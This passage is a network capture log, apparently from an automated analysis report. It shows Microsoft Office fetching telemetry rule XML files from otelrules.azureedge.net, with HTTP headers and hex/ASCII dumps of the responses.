6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:16 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:16 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191416Z-16849878b782d4lwcu6h6gmxnw000000085g000000008778 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191416Z-r197bdfb6b4wmcgqdschtyp7yg00000008n0000000003kpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:16 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:16 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191416Z-17c5cb586f6gkqkwd0x1ge8t04000000090g00000000btac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:17 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ea4f12d2-001e-0066-30b1-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191417Z-159b85dff8ftk4pxhC1DFWg5f000000000wg00000000ahpd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191417Z-16849878b78qg9mlz11wgn0wcc00000007z000000000sd41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:17 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:17 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191417Z-16849878b78tg5n42kspfr0x4800000008fg00000000bxrn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:17 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:17 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191417Z-17c5cb586f6zcqf8r7the4ske000000000sg00000000fhqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:17 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191418Z-17c5cb586f6fqqst87nqkbsx1c00000006wg00000000ect0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:18 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191418Z-16849878b787bfsh7zgp804my40000000790000000008rqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191418Z-16849878b78wv88bk51myq5vxc00000008n000000000xxek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:18 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191418Z-15b8d89586ffsjj9qb0gmb1stn0000000cng00000000b5w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:18 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
